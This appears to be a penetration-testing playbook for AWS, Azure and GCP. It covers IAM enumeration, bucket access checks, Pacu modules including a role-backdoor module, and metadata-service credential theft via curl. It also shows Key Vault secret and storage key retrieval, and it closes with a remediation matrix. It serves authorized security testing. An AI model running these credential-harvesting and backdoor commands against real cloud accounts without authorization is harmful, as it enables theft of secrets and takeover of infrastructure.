| name | conducting-cloud-infrastructure-penetration-test |
| description | Perform a cloud infrastructure penetration test across AWS, Azure, and GCP to identify IAM misconfigurations, exposed storage buckets, insecure serverless functions, and cloud-native attack paths using Pacu, ScoutSuite, and Prowler. |
| domain | cybersecurity |
| subdomain | penetration-testing |
| tags | ["cloud-pentest","AWS","Azure","GCP","Pacu","ScoutSuite","Prowler","IAM","S3","cloud-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
Conducting Cloud Infrastructure Penetration Test
Overview
Cloud infrastructure penetration testing identifies security weaknesses in AWS, Azure, and GCP environments by targeting IAM policies, storage configurations, compute instances, serverless functions, network controls, and Kubernetes clusters. Cloud-specific attack vectors include over-privileged IAM roles, misconfigured storage buckets, exposed metadata services, insecure API endpoints, and lateral movement through cloud service chains.
Prerequisites
- Written authorization and cloud provider notification (AWS penetration testing policy, Azure rules, GCP terms)
- Cloud credentials with read-only access (assumed breach model) or unauthenticated external testing
- Tools: Pacu (AWS), ScoutSuite, Prowler, AzureHound, GCPBucketBrute, CloudMapper
- Understanding of shared responsibility model for each provider
AWS Penetration Testing
Initial Enumeration
aws sts get-caller-identity
aws iam get-user
aws iam list-attached-user-policies --user-name testuser
aws iam list-user-policies --user-name testuser
aws iam list-users
aws iam list-roles
aws iam list-groups
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,State.Name,PublicIpAddress,PrivateIpAddress]' --output table
aws s3 ls
aws s3 ls s3://target-bucket --recursive
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role]' --output table
aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,Engine,PubliclyAccessible]' --output table
aws secretsmanager list-secrets
aws ssm describe-parameters
Pacu Exploitation Framework
pip install pacu
pacu
Pacu> set_keys
Pacu> import_keys testuser
Pacu> run iam__enum_permissions
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run ec2__enum
Pacu> run s3__enum
Pacu> run lambda__enum
Pacu> run iam__privesc_scan
Pacu> run s3__bucket_finder
Pacu> run ec2__metadata_services
Pacu> run lambda__backdoor_new_roles
S3 Bucket Testing
aws s3 ls s3://target-corp-backup --no-sign-request
aws s3 cp s3://target-corp-backup/test.txt /tmp/ --no-sign-request
aws s3api get-bucket-policy --bucket target-corp-backup
aws s3api get-bucket-acl --bucket target-corp-backup
aws s3api put-object --bucket target-corp-backup --key pentest_proof.txt \
--body /tmp/proof.txt
EC2 Instance Metadata Exploitation
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name
export AWS_ACCESS_KEY_ID=<from_metadata>
export AWS_SECRET_ACCESS_KEY=<from_metadata>
export AWS_SESSION_TOKEN=<from_metadata>
aws sts get-caller-identity
Azure Penetration Testing
Azure Enumeration
az login -u testuser@target.onmicrosoft.com -p 'Password123'
az account list --output table
az group list --output table
az vm list --output table
az storage account list --output table
az webapp list --output table
az keyvault list --output table
az ad user list --output table
azurehound list -u testuser@target.onmicrosoft.com -p 'Password123' -o azurehound.json
Azure-Specific Attacks
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
az storage account keys list --resource-group RG-Production --account-name targetstorageacct
az keyvault secret list --vault-name target-keyvault
az keyvault secret show --vault-name target-keyvault --name admin-password
python stormspotter.py --cli
GCP Penetration Testing
GCP Enumeration
gcloud auth login
gcloud projects list
gcloud compute instances list
gsutil ls
gsutil ls gs://target-bucket/
gcloud projects get-iam-policy PROJECT_ID
gcloud functions list
gcloud iam service-accounts list
gsutil ls -L gs://target-bucket/ | grep "Access control"
Cross-Cloud Security Assessment
ScoutSuite Multi-Cloud Audit
scout suite aws --profile testuser
scout suite azure --cli
scout suite gcp --user-account
Prowler (AWS CIS Benchmark)
prowler aws --profile testuser
prowler aws -c check11 check12 check13
prowler aws -g s3
prowler aws -g forensics-ready
prowler aws -M json-ocsf -o ./prowler_results/
Findings Matrix
| Finding | Cloud | Severity | Remediation |
|---|
| Public S3 bucket with PII | AWS | Critical | Enable bucket policy deny public access |
| Over-privileged IAM role on Lambda | AWS | High | Implement least-privilege IAM policies |
| IMDSv1 enabled on EC2 | AWS | High | Enforce IMDSv2 across all instances |
| Storage account with public blob access | Azure | Critical | Disable anonymous blob access |
| Key Vault accessible by all users | Azure | High | Restrict Key Vault access policies |
| GCS bucket with allUsers read | GCP | Critical | Remove allUsers permission |
| Service account key exposed in repo | GCP | Critical | Rotate key, enable Workload Identity |
References